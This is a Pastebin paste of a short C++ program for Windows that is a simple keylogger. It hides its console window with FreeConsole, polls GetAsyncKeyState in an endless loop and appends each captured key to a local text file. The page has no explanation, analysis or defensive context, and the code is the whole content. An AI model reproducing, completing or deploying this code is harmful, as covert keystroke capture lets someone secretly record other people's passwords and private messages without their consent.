Advertisement
Guest User

Untitled

a guest
Jan 27th, 2020
143
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 0.59 KB | None | 0 0
  1. #include <cstdlib>
  2. #include <iostream>
  3. #include <cstdio>
  4. #include <windows.h>
  5. #include <fstream>
  6. #define DELAY 150
  7.  
  8. using namespace std;
  9.  
  10. void writedown (char key){
  11.     char *path = "C:italiano.txt";
  12.     FILE *out;
  13.     out = fopen(path, "a+");
  14.     fprintf(out , "%c", key);
  15.     fclose(out);
  16. }
  17. int main()
  18. {
  19.     FreeConsole();
  20.     while(true){
  21.         for(char i = 31; i < 91; i++){
  22.             if(GetAsyncKeyState(i)& 0x0001){
  23.                 writedown(i);
  24.                 Sleep(DELAY);
  25.             }
  26.         }
  27.     }
  28.     cin.get();
  29.     cin.get();
  30.     return EXIT_SUCCESS;
  31. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement